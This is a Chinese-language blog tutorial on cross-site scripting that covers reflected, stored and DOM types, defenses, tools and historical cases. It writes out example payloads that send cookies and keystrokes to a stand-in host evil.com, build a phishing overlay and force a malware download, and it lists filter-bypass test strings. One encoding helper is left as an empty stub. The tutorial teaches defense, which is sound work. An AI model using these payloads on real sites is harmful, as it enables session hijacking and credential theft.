WEB安全~xss的介绍

跨站脚本攻击(XSS)详细介绍

一、什么是XSS

跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的Web安全漏洞,攻击者通过在目标网站中注入恶意脚本代码,当用户访问该网站时,这些脚本会在用户的浏览器中执行,从而窃取用户敏感信息、劫持用户会话、篡改网页内容等。

核心原理:攻击者利用网站对用户输入过滤不严格的问题,将恶意代码注入到网页中。

二、XSS攻击类型

1. 反射型XSS(非持久型)

特点:恶意脚本不存储在目标服务器,而是通过URL参数、表单提交等方式即时反射回来执行。

攻击流程

用户点击恶意链接 → 请求发送到服务器 → 服务器返回带恶意脚本的页面 → 用户浏览器执行脚本

示例

<!-- 存在漏洞的搜索功能 -->
<input type="text" name="search" value="<?php echo $_GET['search']; ?>">

<!-- 攻击者构造的URL -->
http://example.com/search.php?search=<script>alert('XSS')</script>

2. 存储型XSS(持久型)

特点:恶意脚本被永久存储在目标服务器(数据库、文件系统等),每当用户访问受影响页面时都会执行。

攻击流程

攻击者提交恶意数据 → 服务器存储到数据库 → 其他用户请求页面 → 服务器返回恶意脚本 → 用户浏览器执行

常见场景

  • 评论区/论坛帖子
  • 用户个人资料(签名、介绍)
  • 留言板
  • 商品评论

示例

// 攻击者在评论区提交
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

// 其他用户查看评论时,cookie被窃取

3. DOM型XSS

特点:完全不经过服务器,通过修改DOM环境中的JavaScript代码执行。

攻击流程

用户点击链接 → 客户端JavaScript解析URL参数 → 直接修改DOM → 恶意脚本执行

示例

<!-- 漏洞代码 -->
<script>
  var name = location.hash.substring(1);
  document.write("Welcome " + name);
</script>

<!-- 攻击URL -->
http://example.com/#<img src=x onerror=alert(1)>

三、XSS的危害

1. 会话劫持

// 窃取Cookie
var img = new Image();
img.src = 'http://evil.com/steal?cookie=' + document.cookie;

2. 键盘记录

document.onkeypress = function(e) {
  fetch('http://evil.com/log', {
    method: 'POST',
    body: 'key=' + e.key
  });
}

3. 钓鱼攻击

// 伪造登录表单
document.body.innerHTML = `
  <div style="position:absolute;top:0;width:100%;height:100%;background:white">
    <form action="http://evil.com/phish">
      <input type="password" name="password">
      <button>请重新登录</button>
    </form>
  </div>
`;

4. 内网探测

// 探测内网IP
fetch('http://192.168.1.1')
  .then(res => fetch('http://evil.com/ip?found=true'));

5. 强制下载恶意软件

window.location = 'http://evil.com/virus.exe';

四、XSS检测方法

1. 手动测试Payload

基础测试

<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

绕过过滤

<!-- 大小写混淆 -->
<ScRiPt>alert(1)</ScRiPt>

<!-- 编码绕过 -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

<!-- 事件属性 -->
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>

<!-- 伪协议 -->
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

2. 自动化工具

  • Burp Suite - 专业Web安全测试工具
  • OWASP ZAP - 开源安全扫描器
  • XSStrike - 高级XSS检测工具
  • Arachni - 全功能Web扫描器

五、防御措施

1. 输出编码(最重要)

根据上下文选择正确的编码方式:

// HTML实体编码
function htmlEncode(str) {
  return str.replace(/[&<>]/g, function(m) {
    if (m === '&') return '&amp;';
    if (m === '<') return '&lt;';
    if (m === '>') return '&gt;';
    return m;
  });
}

// HTML属性编码
function attributeEncode(str) {
  return str.replace(/[&<>"']/g, function(m) {
    // 编码所有特殊字符
  });
}

// JavaScript编码
function jsEncode(str) {
  return str.replace(/[\\'"]/g, function(m) {
    return '\\' + m.charCodeAt(0).toString(16);
  });
}

2. 输入过滤(白名单优先)

// 使用白名单
$allowedTags = '<b><i><u>';
$clean = strip_tags($input, $allowedTags);

// 使用HTML Purifier(PHP)
require_once 'HTMLPurifier.auto.php';
$purifier = new HTMLPurifier();
$clean = $purifier->purify($input);

3. 使用CSP(内容安全策略)

# HTTP响应头
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
<!-- Meta标签 -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'nonce-abc123'">

4. Cookie安全设置

Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Strict
  • HttpOnly:禁止JavaScript访问Cookie
  • Secure:仅HTTPS传输
  • SameSite:防止CSRF和部分XSS滥用

5. 使用安全框架

React(自动转义):

// 默认安全
<div>{userInput}</div> 

// 危险操作(需谨慎)
<div dangerouslySetInnerHTML={{__html: userInput}} />

Vue

<!-- 自动转义文本 -->
<div>{{ userInput }}</div>

<!-- 危险操作 -->
<div v-html="userInput"></div>

其他框架

  • Angular - 默认编码
  • Django模板 - 自动转义
  • Ruby on Rails - 自动转义

六、实战案例

案例1:Twitter的XSS蠕虫(2010年)

  • 利用存储型XSS
  • 自动发送带恶意链接的推文
  • 短时间内感染数十万用户
  • 教训:未过滤JSONP回调参数

案例2:MySpace的Samy蠕虫(2005年)

  • 利用DOM型XSS
  • 16小时内感染100万用户
  • 绕过过滤器:javascript: 拼接、事件属性混淆

案例3:某电商平台评论XSS

  • 评论功能未过滤 <img> 标签
  • 攻击者窃取管理员Cookie
  • 获取后台权限,盗取用户数据

七、检测与修复工具

开发阶段

  • ESLint (with security plugin)
  • OWASP Dependency-Check
  • Snyk

测试阶段

  • OWASP ZAP
  • Burp Suite Professional
  • Google CSP Evaluator

运行时防护

  • ModSecurity (WAF)
  • Cloudflare WAF
  • AWS WAF

八、最佳实践总结

  1. 永远不要信任用户输入
  2. 采用白名单而非黑名单过滤
  3. 根据输出位置选择合适的编码方式
  4. 实施严格的CSP策略
  5. 使用HttpOnly和Secure标志的Cookie
  6. 定期进行安全审计和渗透测试
  7. 保持框架和依赖库的更新
  8. 安全团队进行代码审查
  9. 建立漏洞报告和应急响应机制
  10. 开发人员必须接受安全培训

XSS虽然历史悠久,但在现代Web应用中仍然普遍存在。通过理解其原理、掌握防御技术,可以有效降低安全风险。记住:输出编码是防御XSS的核心,配合CSP和HttpOnly Cookie才能构建完整防御体系。

posted @ 2026-05-02 17:44  张占岭  阅读(8)  评论(0)    收藏  举报